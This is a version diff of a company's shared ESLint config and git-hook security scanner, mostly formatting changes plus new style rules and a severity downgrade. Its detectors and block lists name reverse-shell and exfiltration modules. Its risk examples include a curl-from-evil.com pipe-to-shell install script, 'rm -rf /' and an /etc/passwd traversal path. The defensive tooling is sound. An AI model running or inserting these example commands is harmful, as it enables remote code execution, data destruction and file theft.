@archpublicwebsite/eslint-config 1.0.21 → 1.0.22

package/README.md

@@ -120,6 +120,16 @@ If you are extending or regenerating this package, keep the workflow explicit:
 - Re-run the package setup flow when changing VS Code or hook behavior.
 - Prefer explicit examples that show what the consumer project should add.
 
+## Refactor/New File Rules
+
+When refactoring or creating component files, keep every package aligned to the shared eslint-config contract:
+
+1. Keep each package `eslint.config.mjs` on `createArchipelagoConfig(...)` from `@archpublicwebsite/eslint-config`.
+2. Do not add package-local parser stacks that diverge from the shared config unless there is an approved exception.
+3. Run `pnpm lint:check` and `pnpm typecheck` before commit.
+4. If a package needs custom lint behavior, add it as a small override block in that package config while preserving shared base rules.
+5. For new projects or clones, run the setup script so required files (`eslint.config.mjs`, `lint-staged.config.mjs`, hooks, VSCode settings) are auto-created when missing.
+
 ## Manual setup
 
 If you need to rerun the bootstrap manually:

package/eslint.config.mjs

@@ -87,10 +87,8 @@ export function createArchipelagoConfig(...overrides) {
           },
           // document.write / document.writeln
           {
-            selector:
-              'CallExpression[callee.object.name="document"][callee.property.name=/^write(ln)?$/]',
-            message:
-              '[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
+            selector: 'CallExpression[callee.object.name="document"][callee.property.name=/^write(ln)?$/]',
+            message: '[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
           },
           // Object.__proto__ assignment (belt-and-suspenders with no-prototype-builtins)
           {
@@ -168,16 +166,19 @@ export function createArchipelagoConfig(...overrides) {
       rules: {
         'no-restricted-imports': [
           'error',
-          { name: 'child_process',      message: 'child_process is not allowed in build config files — supply-chain risk' },
-          { name: 'node:child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
-          { name: 'http',               message: 'http is not allowed in build config files — exfiltration risk' },
-          { name: 'node:http',          message: 'http is not allowed in build config files — exfiltration risk' },
-          { name: 'https',              message: 'https is not allowed in build config files — exfiltration risk' },
-          { name: 'node:https',         message: 'https is not allowed in build config files — exfiltration risk' },
-          { name: 'dns',                message: 'dns is not allowed in build config files — DNS tunnelling risk' },
-          { name: 'node:dns',           message: 'dns is not allowed in build config files — DNS tunnelling risk' },
-          { name: 'net',                message: 'net is not allowed in build config files — reverse-shell risk' },
-          { name: 'node:net',           message: 'net is not allowed in build config files — reverse-shell risk' },
+          { name: 'child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
+          {
+            name: 'node:child_process',
+            message: 'child_process is not allowed in build config files — supply-chain risk',
+          },
+          { name: 'http', message: 'http is not allowed in build config files — exfiltration risk' },
+          { name: 'node:http', message: 'http is not allowed in build config files — exfiltration risk' },
+          { name: 'https', message: 'https is not allowed in build config files — exfiltration risk' },
+          { name: 'node:https', message: 'https is not allowed in build config files — exfiltration risk' },
+          { name: 'dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
+          { name: 'node:dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
+          { name: 'net', message: 'net is not allowed in build config files — reverse-shell risk' },
+          { name: 'node:net', message: 'net is not allowed in build config files — reverse-shell risk' },
         ],
       },
     },
@@ -202,11 +203,12 @@ export function createArchipelagoConfig(...overrides) {
         'antfu/if-newline': 'off',
         'antfu/no-import-dist': 'off',
 
-        // ── Compatibility mode for existing codebases ─────────────────────
-        // Keep the security-sensitive rules as errors, but avoid blocking
-        // commits on purely stylistic differences in current components/tools.
-        'style/semi': 'off',
-        'style/quotes': 'off',
+        // ── Canonical style enforcement ─────────────────────────────────────
+        // No semicolons — matches every component in the codebase.
+        // Adding a `;` in any .ts / .vue file will surface as a lint error.
+        'style/semi': ['error', 'never'],
+        // Single quotes — consistent with all current component files.
+        'style/quotes': ['error', 'single', { avoidEscape: true, allowTemplateLiterals: 'never' }],
         'style/quote-props': 'off',
         'style/no-multi-spaces': 'off',
         'style/key-spacing': 'off',
@@ -239,10 +241,13 @@ export function createArchipelagoConfig(...overrides) {
         'vue/attribute-hyphenation': 'off',
         'vue/define-macros-order': 'off',
         'vue/no-v-html': 'off',
-        'vue/max-attributes-per-line': ['error', {
-          singleline: 3,
-          multiline: 1,
-        }],
+        'vue/max-attributes-per-line': [
+          'error',
+          {
+            singleline: 3,
+            multiline: 1,
+          },
+        ],
         'vue/max-len': 'off',
 
         // ── TypeScript ───────────────────────────────────────────────────────
@@ -308,6 +313,6 @@ export function createArchipelagoConfig(...overrides) {
       },
     },
 
-    ...overrides,
+    ...overrides
   )
 }

package/lint-staged.config.mjs

@@ -1,11 +1,6 @@
 const config = {
-  '*.{js,mjs,cjs,ts,tsx,vue}': [
-    'eslint --fix',
-    'prettier --write',
-  ],
-  '*.{json,md,yml,yaml,css,scss,html}': [
-    'prettier --write',
-  ],
+  '*.{js,mjs,cjs,ts,tsx,vue}': ['eslint --fix', 'prettier --write'],
+  '*.{json,md,yml,yaml,css,scss,html}': ['prettier --write'],
 }
 
 export default config

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@archpublicwebsite/eslint-config",
-  "version": "1.0.21",
+  "version": "1.0.22",
   "author": "Archipelago Hotels",
   "description": "Reusable ESLint flat config and git-hook toolkit for Archipelago projects",
   "type": "module",

package/tools/git-hooks/pre-commit.mjs

@@ -4,7 +4,7 @@ import { existsSync } from 'node:fs'
 import { hasCommand, run } from './shared.mjs'
 
 const __dirname = dirname(fileURLToPath(import.meta.url))
-const SCAN_SCRIPT = join(__dirname, '../security/scan.mjs')
+const SCAN_SCRIPT = join(__dirname, '..', 'security', 'scan.mjs')
 
 function runIfExists(scriptPath, command) {
   if (!existsSync(scriptPath)) {
@@ -28,13 +28,17 @@ run(`node "${SCAN_SCRIPT}"`, { stdio: 'inherit' })
 runIfExists('./safe-reinstall.sh', 'bash ./safe-reinstall.sh --check-only')
 if (process.env.SKIP_GLOBAL_SCAN === '1') {
   console.log('\nSkipping global IOC scan (SKIP_GLOBAL_SCAN=1).')
-}
-else {
+} else {
   runIfExists('./scan-global.sh', 'bash ./scan-global.sh')
 }
 
 // ── 3. Lint-staged — auto-fix & format staged files ───────────────────────────
 console.log('\nRunning lint-staged (auto-fix staged files)...')
-run('pnpm lint-staged', { stdio: 'inherit' })
+if (existsSync('./lint-staged.config.mjs')) {
+  run('pnpm exec lint-staged --config lint-staged.config.mjs', { stdio: 'inherit' })
+} else {
+  // Fallback to package.json "lint-staged" block when config file is missing.
+  run('pnpm exec lint-staged', { stdio: 'inherit' })
+}
 
 console.log('\nCOMMIT CHECKS PASSED\n')

package/tools/git-hooks/pre-push.mjs

@@ -54,13 +54,21 @@ const ZERO_SHA = '0000000000000000000000000000000000000000'
  */
 function parsePushRefs() {
   let stdin = ''
-  try { stdin = readFileSync('/dev/stdin', 'utf8') }
-  catch { return [] }
+  try {
+    stdin = readFileSync('/dev/stdin', 'utf8')
+  } catch {
+    return []
+  }
 
-  return stdin.trim().split('\n').filter(Boolean).map((line) => {
-    const parts = line.trim().split(/\s+/)
-    return { localSha: parts[1] ?? '', remoteSha: parts[3] ?? ZERO_SHA }
-  }).filter(({ localSha }) => localSha && localSha !== ZERO_SHA)
+  return stdin
+    .trim()
+    .split('\n')
+    .filter(Boolean)
+    .map(line => {
+      const parts = line.trim().split(/\s+/)
+      return { localSha: parts[1] ?? '', remoteSha: parts[3] ?? ZERO_SHA }
+    })
+    .filter(({ localSha }) => localSha && localSha !== ZERO_SHA)
 }
 
 // ─── Collect files in push range ───────────────────────────────────────────────
@@ -98,10 +106,14 @@ function scanFiles(files, repoRoot) {
   let skipped = 0
 
   for (const filePath of files) {
-    if (shouldSkip(filePath)) { skipped++; continue }
+    if (shouldSkip(filePath)) {
+      skipped++
+      continue
+    }
 
-    const content = runSafe(`git show "HEAD:${filePath}"`)
-      || (() => {
+    const content =
+      runSafe(`git show "HEAD:${filePath}"`) ||
+      (() => {
         const abs = join(repoRoot, filePath)
         return existsSync(abs) ? readFileSync(abs, 'utf8') : ''
       })()
@@ -111,7 +123,7 @@ function scanFiles(files, repoRoot) {
     const lines = content.split('\n')
     findings.push(
       ...collectPatternFindings(lines, isConfigFile(filePath), filePath),
-      ...collectObfuscatedLineFindings(lines, filePath),
+      ...collectObfuscatedLineFindings(lines, filePath)
     )
   }
 
@@ -133,24 +145,29 @@ function scanDependencies(repoRoot) {
   if (!existsSync(pkgJsonPath)) return []
 
   let pkg
-  try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
-  catch { return [] }
+  try {
+    pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
+  } catch {
+    return []
+  }
 
   const depFields = ['dependencies', 'devDependencies', 'peerDependencies', 'optionalDependencies']
-  return depFields.flatMap((field) => {
+  return depFields.flatMap(field => {
     const deps = pkg[field]
     if (!deps || typeof deps !== 'object') return []
-    return Object.keys(deps).flatMap((name) => {
+    return Object.keys(deps).flatMap(name => {
       const similar = detectTyposquat(name)
       return similar
-        ? [{
-            pkg: name,
-            patternId: 'typosquat',
-            severity: 'high',
-            message: `Possible typosquat of "${similar}" in ${field} — verify the package name`,
-            lineContent: `"${name}" is 1 edit away from "${similar}"`,
-            category: 'supply-chain',
-          }]
+        ? [
+            {
+              pkg: name,
+              patternId: 'typosquat',
+              severity: 'high',
+              message: `Possible typosquat of "${similar}" in ${field} — verify the package name`,
+              lineContent: `"${name}" is 1 edit away from "${similar}"`,
+              category: 'supply-chain',
+            },
+          ]
         : []
     })
   })
@@ -166,7 +183,7 @@ function runAudit() {
     return []
   }
 
-  process.stdout.write(`\nRunning pnpm audit --audit-level=high...\n`)
+  process.stdout.write('\nRunning pnpm audit --audit-level=high...\n')
   const result = runSafe('pnpm audit --audit-level=high 2>&1')
   if (!result) return []
 
@@ -176,14 +193,16 @@ function runAudit() {
   if (hasVulns) {
     console.log(`\n${BOLD}pnpm audit output:${R}`)
     console.log(`${DIM}${result}${R}`)
-    return [{
-      pkg: 'pnpm-audit',
-      patternId: 'known-cve',
-      severity: 'high',
-      message: `pnpm audit detected known CVEs — run 'pnpm audit --fix' or pin safe versions`,
-      lineContent: lines.find(l => /vulnerabilit/i.test(l)) ?? result.slice(0, 120),
-      category: 'supply-chain',
-    }]
+    return [
+      {
+        pkg: 'pnpm-audit',
+        patternId: 'known-cve',
+        severity: 'high',
+        message: "pnpm audit detected known CVEs — run 'pnpm audit --fix' or pin safe versions",
+        lineContent: lines.find(l => /vulnerabilit/i.test(l)) ?? result.slice(0, 120),
+        category: 'supply-chain',
+      },
+    ]
   }
 
   process.stdout.write(`${GRN}pnpm audit: no known vulnerabilities found.${R}\n`)
@@ -195,8 +214,8 @@ function runAudit() {
 function main() {
   if (process.env.SKIP_SECURITY_SCAN === '1') {
     process.stderr.write(
-      `\n${YLW}${BOLD}⚠  SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n`
-      + `${YLW}   This bypass is intentional and has been logged.${R}\n\n`,
+      `\n${YLW}${BOLD}⚠  SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n` +
+        `${YLW}   This bypass is intentional and has been logged.${R}\n\n`
     )
     return
   }
@@ -206,14 +225,15 @@ function main() {
 
   printScanHeader('@archipelago/pre-push', 'full-branch security gate')
 
-  const files = refs.length > 0
-    ? collectPushFiles(refs)
-    : (runSafe('git diff-tree --no-commit-id --name-only -r HEAD') || '')
-        .split('\n')
-        .filter(f => SCAN_EXTENSIONS.has(extname(f)))
+  const files =
+    refs.length > 0
+      ? collectPushFiles(refs)
+      : (runSafe('git diff-tree --no-commit-id --name-only -r HEAD') || '')
+          .split('\n')
+          .filter(f => SCAN_EXTENSIONS.has(extname(f)))
 
-  const fileFindings  = scanFiles(files, repoRoot)
-  const depsFindings  = scanDependencies(repoRoot)
+  const fileFindings = scanFiles(files, repoRoot)
+  const depsFindings = scanDependencies(repoRoot)
   const auditFindings = runAudit()
 
   const allFindings = sortFindings([...fileFindings, ...depsFindings, ...auditFindings])

package/tools/security/patterns.mjs

@@ -147,7 +147,8 @@ export const FILE_PATTERNS = [
   {
     id: 'shuffle-cipher-iife',
     severity: 'critical',
-    message: 'Shuffle-cipher IIFE — RC4-variant string decoder used to hide payload strings (seen in event-stream attack)',
+    message:
+      'Shuffle-cipher IIFE — RC4-variant string decoder used to hide payload strings (seen in event-stream attack)',
     // Matches: (function(l,e){ ... })("...", number)  — the typical 2-arg encoded-string bootstrapper
     // [\s\S] instead of [^}] so the body can contain nested {}
     regex: /\(function\s*\(\w\s*,\s*\w\)[\s\S]{20,}?\}\)\s*\(\s*["'][^"']{4,}["']\s*,\s*\d{4,}\s*\)/,
@@ -178,7 +179,8 @@ export const FILE_PATTERNS = [
   {
     id: 'function-constructor-via-array',
     severity: 'critical',
-    message: 'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
+    message:
+      'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
     // Matches: var x = sfL[EKc]  where the array was built from a string decoder
     // Generalised: identifier assigned from identifier[short-identifier] then called as a function
     regex: /=\s*\w{2,5}\s*\[\s*\w{2,5}\s*\]\s*;[^;]{0,60}=\s*\w{2,5}\s*\(\s*\w+\s*,\s*\w{2,5}\s*\(\s*\w+\s*\)\s*\)/,
@@ -234,7 +236,8 @@ export const FILE_PATTERNS = [
   {
     id: 'vue-v-html',
     severity: 'medium',
-    message: 'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
+    message:
+      'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
     // Matches both :v-html and v-html= in .vue template strings captured in JS
     regex: /v-html\s*=/,
     category: 'xss',
@@ -306,8 +309,11 @@ export const FILE_PATTERNS = [
   },
   {
     id: 'path-traversal-dotdot',
-    severity: 'critical',
-    message: 'Literal path traversal sequence (../) in source — remove or validate user-supplied path segments',
+    // Downgraded to medium: internal tooling uses join(__dirname, '..', 'security', ...)
+    // which is safe fixed-path navigation, not user-supplied input. Only upgrade back
+    // to 'critical' if you start accepting external path segments at runtime.
+    severity: 'medium',
+    message: 'Literal path traversal sequence (../) in source — verify this is not user-supplied input',
     regex: /['"]\.\.[/\\]/,
     category: 'path-traversal',
   },
@@ -452,15 +458,7 @@ export const CONFIG_FILE_PATTERNS = [
 // ─── Extension allow-list ──────────────────────────────────────────────────────
 
 /** Source file extensions to include in the scan. */
-export const SCAN_EXTENSIONS = new Set([
-  '.js',
-  '.mjs',
-  '.cjs',
-  '.ts',
-  '.mts',
-  '.cts',
-  '.vue',
-])
+export const SCAN_EXTENSIONS = new Set(['.js', '.mjs', '.cjs', '.ts', '.mts', '.cts', '.vue'])
 
 // ─── Typosquatting reference list ──────────────────────────────────────────────
 
@@ -470,29 +468,83 @@ export const SCAN_EXTENSIONS = new Set([
  */
 export const POPULAR_PACKAGES = [
   // Frameworks & meta-frameworks
-  'react', 'vue', 'svelte', 'angular', 'next', 'nuxt', 'remix', 'astro',
+  'react',
+  'vue',
+  'svelte',
+  'angular',
+  'next',
+  'nuxt',
+  'remix',
+  'astro',
   // Build tools
-  'vite', 'webpack', 'rollup', 'parcel', 'esbuild', 'turbopack',
+  'vite',
+  'webpack',
+  'rollup',
+  'parcel',
+  'esbuild',
+  'turbopack',
   // Styling
-  'tailwindcss', 'postcss', 'autoprefixer', 'sass', 'less',
+  'tailwindcss',
+  'postcss',
+  'autoprefixer',
+  'sass',
+  'less',
   // Utility libraries
-  'lodash', 'axios', 'dayjs', 'moment', 'date-fns', 'zod', 'yup',
+  'lodash',
+  'axios',
+  'dayjs',
+  'moment',
+  'date-fns',
+  'zod',
+  'yup',
   // State management
-  'pinia', 'vuex', 'redux', 'mobx', 'zustand', 'jotai',
+  'pinia',
+  'vuex',
+  'redux',
+  'mobx',
+  'zustand',
+  'jotai',
   // Routing
-  'react-router', 'vue-router',
+  'react-router',
+  'vue-router',
   // Testing
-  'vitest', 'jest', 'mocha', 'chai', 'playwright', 'cypress',
+  'vitest',
+  'jest',
+  'mocha',
+  'chai',
+  'playwright',
+  'cypress',
   // TypeScript
-  'typescript', 'ts-node', 'tsx',
+  'typescript',
+  'ts-node',
+  'tsx',
   // Linting
-  'eslint', 'prettier', 'stylelint',
+  'eslint',
+  'prettier',
+  'stylelint',
   // Security / auth
-  'bcrypt', 'jsonwebtoken', 'passport', 'helmet', 'cors',
+  'bcrypt',
+  'jsonwebtoken',
+  'passport',
+  'helmet',
+  'cors',
   // Database
-  'prisma', 'sequelize', 'mongoose', 'typeorm', 'knex', 'drizzle-orm',
+  'prisma',
+  'sequelize',
+  'mongoose',
+  'typeorm',
+  'knex',
+  'drizzle-orm',
   // Node utilities
-  'express', 'fastify', 'koa', 'hapi', 'socket.io', 'ws', 'nodemailer',
+  'express',
+  'fastify',
+  'koa',
+  'hapi',
+  'socket.io',
+  'ws',
+  'nodemailer',
   // Package tooling
-  'pnpm', 'yarn', 'npm',
+  'pnpm',
+  'yarn',
+  'npm',
 ]

package/tools/security/risks.mjs

@@ -25,10 +25,10 @@
  */
 export const SEVERITY_SCORE = {
   critical: 4, // CVSS 9.0 – 10.0  → block commit AND push
-  high:     3, // CVSS 7.0 – 8.9   → block commit AND push
-  medium:   2, // CVSS 4.0 – 6.9   → warn; never blocks by default
-  low:      1, // CVSS 0.1 – 3.9   → info only
-  info:     0, // Informational     → no action required
+  high: 3, // CVSS 7.0 – 8.9   → block commit AND push
+  medium: 2, // CVSS 4.0 – 6.9   → warn; never blocks by default
+  low: 1, // CVSS 0.1 – 3.9   → info only
+  info: 0, // Informational     → no action required
 }
 
 /**
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
     owasp: 'A03:2021 – Injection',
     atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
     description:
-      'Code that allows an attacker to execute arbitrary instructions on the host machine. '
-      + 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
+      'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
+      'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
     severity: 'critical',
     examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
   },
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A08:2021 – Software and Data Integrity Failures',
     atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
     description:
-      'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
-      + 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
-      + 'ua-parser-js, polyfill.io).',
+      'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
+      'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
+      'ua-parser-js, polyfill.io).',
     severity: 'high',
     examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
   },
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
     owasp: 'A03:2021 – Injection',
     atlas: [],
     description:
-      'Modification of Object.prototype or constructor.prototype allows an attacker to '
-      + 'inject properties onto every object in the runtime, which can escalate to RCE '
-      + 'in some server-side Node.js frameworks.',
+      'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
+      'inject properties onto every object in the runtime, which can escalate to RCE ' +
+      'in some server-side Node.js frameworks.',
     severity: 'high',
-    examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
+    examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
   },
 
   // ── A4: XSS / DOM injection ────────────────────────────────────────────────
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A03:2021 – Injection',
     atlas: [],
     description:
-      'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
-      + 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
-      + "victim's browser context.",
+      'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
+      'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
+      "victim's browser context.",
     severity: 'high',
     examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
   },
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A02:2021 – Cryptographic Failures',
     atlas: [],
     description:
-      'API keys, tokens, passwords, or private keys committed to source code. '
-      + 'Exposed secrets are frequently scraped from public repositories by automated bots '
-      + 'within minutes of exposure.',
+      'API keys, tokens, passwords, or private keys committed to source code. ' +
+      'Exposed secrets are frequently scraped from public repositories by automated bots ' +
+      'within minutes of exposure.',
     severity: 'critical',
     examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
   },
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A08:2021 – Software and Data Integrity Failures',
     atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
     description:
-      'Malicious code injected via npm package install scripts (preinstall/postinstall), '
-      + 'typosquatted package names, or compromised transitive dependencies. '
-      + 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
+      'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
+      'typosquatted package names, or compromised transitive dependencies. ' +
+      'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
     severity: 'critical',
     examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
   },
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A01:2021 – Broken Access Control',
     atlas: [],
     description:
-      'User-controlled input used in file-system operations without sanitisation. '
-      + 'Allows attackers to read, write, or delete files outside the intended directory '
-      + "(e.g., reading /etc/passwd via '../../etc/passwd').",
+      'User-controlled input used in file-system operations without sanitisation. ' +
+      'Allows attackers to read, write, or delete files outside the intended directory ' +
+      "(e.g., reading /etc/passwd via '../../etc/passwd').",
     severity: 'high',
     examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
   },
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A10:2021 – Server-Side Request Forgery',
     atlas: [],
     description:
-      'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
-      + 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
-      + 'resources not directly accessible from the internet.',
+      'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
+      'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
+      'resources not directly accessible from the internet.',
     severity: 'high',
     examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
   },
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A06:2021 – Vulnerable and Outdated Components',
     atlas: [],
     description:
-      'Pathological regular expressions with nested quantifiers on overlapping character '
-      + 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
-      + 'User-controlled input matched against such patterns is a DoS vector.',
+      'Pathological regular expressions with nested quantifiers on overlapping character ' +
+      'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
+      'User-controlled input matched against such patterns is a DoS vector.',
     severity: 'medium',
     examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
   },
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
     owasp: 'A08:2021 – Software and Data Integrity Failures',
     atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
     description:
-      'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
-      + 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
-      + 'privileges and full file-system access — making them a prime exfiltration vector.',
+      'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
+      'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
+      'privileges and full file-system access — making them a prime exfiltration vector.',
     severity: 'critical',
     examples: ["import https from 'node:https' // in tailwind.config.ts"],
   },

package/tools/security/scan.mjs

@@ -44,11 +44,7 @@ import {
   printSupplyFinding,
   shouldSkip,
 } from './scanner.mjs'
-import {
-  getRepoRoot,
-  getStagedNameStatus,
-  runSafe,
-} from '../git-hooks/shared.mjs'
+import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
 
 // ─── Read staged file content ──────────────────────────────────────────────────
 
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
  */
 function scanStagedFiles() {
   const staged = getStagedNameStatus()
-  const toScan = staged.filter(({ status, path }) =>
-    ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path)),
+  const toScan = staged.filter(
+    ({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
   )
   if (toScan.length === 0) return []
 
@@ -81,7 +77,10 @@ function scanStagedFiles() {
   let skipped = 0
 
   for (const { path: filePath } of toScan) {
-    if (shouldSkip(filePath)) { skipped++; continue }
+    if (shouldSkip(filePath)) {
+      skipped++
+      continue
+    }
 
     const content = readStagedContent(filePath)
     if (!content) continue
@@ -91,7 +90,7 @@ function scanStagedFiles() {
 
     findings.push(
       ...collectPatternFindings(lines, isConfig, filePath),
-      ...collectObfuscatedLineFindings(lines, filePath),
+      ...collectObfuscatedLineFindings(lines, filePath)
     )
   }
 
@@ -111,10 +110,9 @@ function scanStagedFiles() {
  */
 function getNewlyAddedPackages() {
   const staged = getStagedNameStatus()
-  const pkgFiles = staged.filter(({ status, path }) =>
-    ['A', 'M'].includes(status[0])
-    && path.endsWith('package.json')
-    && !path.includes('node_modules'),
+  const pkgFiles = staged.filter(
+    ({ status, path }) =>
+      ['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
   )
   if (pkgFiles.length === 0) return []
 
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
         }
       }
       return all
+    } catch {
+      return new Set()
     }
-    catch { return new Set() }
   }
 
   const added = new Set()
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
   if (!existsSync(pkgJsonPath)) return []
 
   let pkg
-  try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
-  catch { return [] }
+  try {
+    pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
+  } catch {
+    return []
+  }
 
   const findings = []
   for (const scriptName of ['preinstall', 'install', 'postinstall']) {
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
 
   process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
 
-  return newPkgs.flatMap((pkgName) => {
+  return newPkgs.flatMap(pkgName => {
     const findings = []
     const similar = detectTyposquat(pkgName)
     if (similar) {
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
 function runAudit(repoRoot) {
   if (process.env.SECURITY_AUDIT !== '1') return
 
-  process.stdout.write(`\nRunning pnpm audit (SECURITY_AUDIT=1)...\n`)
+  process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
   const result = runSafe('pnpm audit --audit-level=high 2>&1')
   if (result) process.stdout.write(`${DIM}${result}${R}\n`)
 }
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
 function main() {
   if (process.env.SKIP_SECURITY_SCAN === '1') {
     process.stderr.write(
-      `\n${YLW}${BOLD}⚠  SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
-      + `${YLW}   This bypass is intentional and has been logged.${R}\n\n`,
+      `\n${YLW}${BOLD}⚠  SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
+        `${YLW}   This bypass is intentional and has been logged.${R}\n\n`
     )
     return
   }
@@ -240,7 +242,7 @@ function main() {
 
   printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
 
-  const fileFindings   = scanStagedFiles()
+  const fileFindings = scanStagedFiles()
   const supplyFindings = scanNewDependencies(repoRoot)
 
   runAudit(repoRoot)

package/tools/security/scanner.mjs

@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
 
 // ─── ANSI colours ──────────────────────────────────────────────────────────────
 
-export const R    = '\x1b[0m'
-export const RED  = '\x1b[31m'
-export const YLW  = '\x1b[33m'
-export const CYN  = '\x1b[36m'
-export const GRN  = '\x1b[32m'
+export const R = '\x1b[0m'
+export const RED = '\x1b[31m'
+export const YLW = '\x1b[33m'
+export const CYN = '\x1b[36m'
+export const GRN = '\x1b[32m'
 export const BOLD = '\x1b[1m'
-export const DIM  = '\x1b[2m'
-export const HR   = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
+export const DIM = '\x1b[2m'
+export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
 
 // ─── Severity badge ────────────────────────────────────────────────────────────
 
 /** @param {'critical'|'high'|'medium'|'low'} severity */
 export function badge(severity) {
   switch (severity) {
-    case 'critical': return `${RED}${BOLD}[CRITICAL]${R}`
-    case 'high':     return `${RED}[HIGH]    ${R}`
-    case 'medium':   return `${YLW}[MEDIUM]  ${R}`
-    default:         return `${CYN}[LOW]     ${R}`
+    case 'critical':
+      return `${RED}${BOLD}[CRITICAL]${R}`
+    case 'high':
+      return `${RED}[HIGH]    ${R}`
+    case 'medium':
+      return `${YLW}[MEDIUM]  ${R}`
+    default:
+      return `${CYN}[LOW]     ${R}`
   }
 }
 
@@ -43,6 +47,7 @@ export function badge(severity) {
  */
 export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
   'packages/eslint-config/eslint.config.mjs',
+  'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
   'packages/eslint-config/tools/git-hooks/pre-push.mjs',
   'packages/eslint-config/tools/security/patterns.mjs',
   'packages/eslint-config/tools/security/risks.mjs',
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
   for (let j = 0; j <= b.length; j++) dp[0][j] = j
   for (let i = 1; i <= a.length; i++) {
     for (let j = 1; j <= b.length; j++) {
